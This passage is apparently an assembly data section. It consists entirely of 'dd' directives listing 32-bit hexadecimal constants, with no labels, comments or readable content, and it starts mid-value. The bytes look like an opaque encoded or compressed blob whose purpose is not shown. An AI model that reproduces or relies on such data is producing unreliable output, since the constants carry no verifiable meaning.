58441A00h, 104686C2h dd 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h dd 0FEB818E8h, 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h dd 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh dd 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh dd 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h dd 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h dd 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh dd 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h dd 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh dd 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h dd 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h dd 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h dd 67503h, 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h dd 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h dd 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh dd 761F0Eh, 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h dd 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh dd 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch dd 62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h dd 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h, 0B22890FCh dd 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h dd 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h dd 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h dd 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h dd 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h dd 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h dd 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh dd 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h dd 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h dd 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h dd 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh, 1077D4FFh dd 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh dd 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch dd 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh dd 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h dd 93C2564h, 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh dd 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h dd 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h dd 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h, 157480h dd 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h dd 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh, 785848h dd 92598043h, 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh dd 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h dd 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h dd 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h, 90017E0h dd 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h dd 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh, 0D1DF220Fh dd 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h dd 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh dd 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h dd 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h, 3B710001h dd 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h dd 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh dd 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h dd 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h dd 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h, 0BA2576C2h dd 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch dd 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h dd 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h dd 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h dd 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h dd 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h dd 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh dd 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h dd 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh dd 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h, 437D7Ch, 0DDDB0330h dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h, 0EC7D4F39h dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh, 5A050013h dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h dd 2B8E0056h dd 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h, 0A6F4C8h dd 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h, 98CE60F8h dd 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h, 0AED6E8B8h dd 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h, 0AAFD7000h dd 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h, 2EE4C50Fh dd 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah, 7E772700h dd 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh, 81C7FC00h dd 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh, 5C036618h dd 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h, 0EF996700h dd 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h, 6CB14012h dd 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h, 7F144905h dd 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h, 62037BE2h dd 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h, 0F82DF410h dd 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h dd 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h dd 8C063757h, 902BC0F0h, 7034612h, 497D834Ah, 819DE0A5h dd 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h dd 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h dd 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh dd 74410764h, 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h dd 2E098F0h, 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh dd 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh dd 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h dd 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch dd 342507D0h, 8060094h, 50FE1391h, 205C67FDh, 575E0011h dd 2590E9D6h, 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch dd 99F3540Ah, 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh dd 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch dd 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h dd 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh dd 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h dd 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh dd 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh dd 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h dd 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h dd 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h dd 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh dd 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h dd 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h, 0AE02750Dh dd 44748861h, 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h dd 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h dd 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h, 0B19C7508h dd 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h dd 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h, 0E2ABB49Dh dd 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h dd 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h dd 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h dd 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h dd 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh dd 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h dd 37503056h, 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h dd 7F4ACC7h, 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h dd 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h dd 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh dd 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah dd 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h dd 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh dd 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h dd 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh, 0A30FE620h dd 144D0500h, 24731682h, 2210032h, 774CCE54h, 2B005033h dd 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h dd 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh dd 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh dd 30E2B810h, 7459D898h, 736B040h, 0C4370E64h, 0F9A9B028h dd 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah dd 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h, 1EE0B879h dd 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh dd 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h dd 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h, 411BF0BDh dd 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h dd 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah dd 90014EBh, 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h dd 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h, 130A7C54h dd 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h dd 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h dd 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh dd 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh dd 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h dd 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h dd 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h dd 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h dd 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h dd 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah dd 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h dd 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh dd 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h dd 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh dd 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h dd 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh dd 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h dd 78800498h, 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh dd 52000429h, 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh dd 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h dd 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh dd 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h dd 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h, 0E42D0A03h dd 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh, 7216EA83h dd 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h dd 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh dd 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h dd 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h dd 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh dd 927CF4D0h, 50E88060h dd 555AC01h, 68C1A1E0h, 0FB0A8058h, 0FC00EA51h, 0A5666F64h dd 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h, 60558041h dd 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh dd 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h, 8900AF4Eh dd 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h, 8403FB91h dd 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h, 0E204471Fh dd 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh, 0E424AA25h dd 0B095201Dh, 36C30307h, 5E50604h, 2B30487h, 9D09CB08h dd 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h, 93EE6675h dd 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh, 86AC7080h dd 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h, 7B8300A8h dd 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h, 26961873h dd 782F7024h, 0C748018h, 7D6212h, 15235AF0h, 87B3850Fh dd 0B614B17h, 0A6164307h, 2470E471h, 719684FCh, 66D900A4h dd 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h dd 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah dd 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h dd 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h, 96633401h dd 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h dd 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h, 6E606E22h dd 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h dd 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h dd 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch dd 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h dd 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h dd 38FF4C15h, 61DB292h, 0BE004657h, 8835905h, 0C99407F0h dd 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h dd 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh dd 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h dd 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh dd 183DD8h, 0D1E88980h, 1788B6h, 948A8278h, 7F913967h dd 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h dd 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h dd 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h dd 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh dd 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h dd 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h dd 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh dd 80661397h, 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h dd 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h dd 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch, 80800140h dd 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h, 658A13EBh dd 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h dd 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h dd 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h, 9CF04CB4h dd 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h dd 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h dd 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h dd 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h, 6C70375h dd 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h dd 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h dd 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h dd 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah dd 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah dd 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh dd 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh dd 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h dd 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh dd 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh dd 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h dd 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh dd 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h dd 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh dd 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh dd 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh dd 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh dd 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h, 0CF29CFEDh dd 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h dd 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h dd 643FC403h, 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h dd 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h, 68001B7Ch dd 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh, 0F928912Ch dd 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h, 0F500BA99h dd 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h dd 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h, 0CE8618Ah dd 1D007051h, 96684C42h, 60F6F924h, 4120D831h, 501E724Dh dd 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h dd 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh, 77008312h dd 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h dd 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh dd 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h dd 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h dd 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h dd 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h dd 0B0189198h, 21286490h, 4048881Eh, 5C328085h, 0F4268800h dd 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h dd 61884C50h, 9178D048h, 7C403011h, 2C993864h, 131E30F0h dd 2841220Ch, 24D22045h, 31848C4h, 10B1B899h, 0A2077813h dd 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh dd 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h dd 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh dd 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h dd 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h dd 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h dd 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h dd 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h dd 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h dd 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h dd 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah dd 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh dd 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h dd 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h dd 0E5500C02h, 5A40800Fh dd 202107Dh, 18BF0372h, 2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh dd 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h, 0B48D007Eh dd 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h dd 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h, 7EB03Bh dd 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h, 10917BEh dd 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h, 2B57E0C0h dd 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h, 0E04DFC0Fh dd 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah, 4E861C00h dd 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h dd 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h, 6623A2E0h dd 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h, 2B00F225h dd 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h, 2BB48719h dd 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h, 0E455BF00h dd 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh, 0D7DAF7A7h dd 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h dd 5B23F1Dh, 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h dd 10F8DC3Bh, 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h dd 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh dd 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh, 3DA0F475h dd 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h dd 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h dd 220B6452h, 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h dd 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch, 7E537651h dd 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h, 595B407Fh dd 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh dd 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h dd 2DFDACE0h, 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h dd 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h dd 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h dd 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh, 136BC200h dd 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h, 0F0578D00h dd 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h dd 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h dd 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h dd 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh dd 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh, 4E775D05h dd 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch dd 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h dd 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h dd 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h, 0F08693BFh dd 0F8125588h, 88006106h, 0D1267423h, 3925E430h, 2C002EE1h dd 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h dd 0D78B46h, 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh dd 83C7D4h, 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h dd 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh dd 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h dd 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh dd 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h dd 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h dd 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 